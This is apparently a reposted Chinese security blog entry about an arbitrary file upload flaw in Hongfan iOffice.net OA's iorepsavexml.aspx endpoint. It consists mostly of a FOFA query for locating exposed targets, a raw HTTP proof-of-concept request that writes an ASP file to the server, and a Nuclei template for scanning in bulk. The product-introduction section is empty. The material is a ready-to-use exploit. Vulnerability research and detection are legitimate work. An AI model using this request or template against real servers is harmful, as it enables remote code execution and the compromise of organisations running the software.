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二、产品介绍：
三、资产梳理：
fofa: title="iOffice.net"
四、漏洞复现：
五、POC：
POST /iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=123.asp&filepath=/upfiles/rep/pic/ HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 0<%Response.Write 1008611%>
Nuclei批量检测：
id: hongfanOA_files_uploadinfo:name: hongfanOA_files_uploadauthor: joyboyseverity: criticaldescription: http://xxx.xxx.xxx/iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=123.asp&filepath=/upfiles/rep/pic/metadata:max-request: 1fofa-query: title="iOffice.net"verified: truetags: uploadrequests:- raw:- |-POST /iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=123.asp&filepath=/upfiles/rep/pic/ HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencoded<%Response.Write 1008611%>- |+GET /iOffice/upfiles/rep/pic/123.asp HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36req-condition: truematchers:- type: dslcondition: anddsl:- 'contains((body_2), "1008611") && status_code_2 == 200'
原文始发于微信公众号（fly的渗透学习笔记）：*帆OA iorepsavexml.aspx任意文件上传漏洞
- 左青龙
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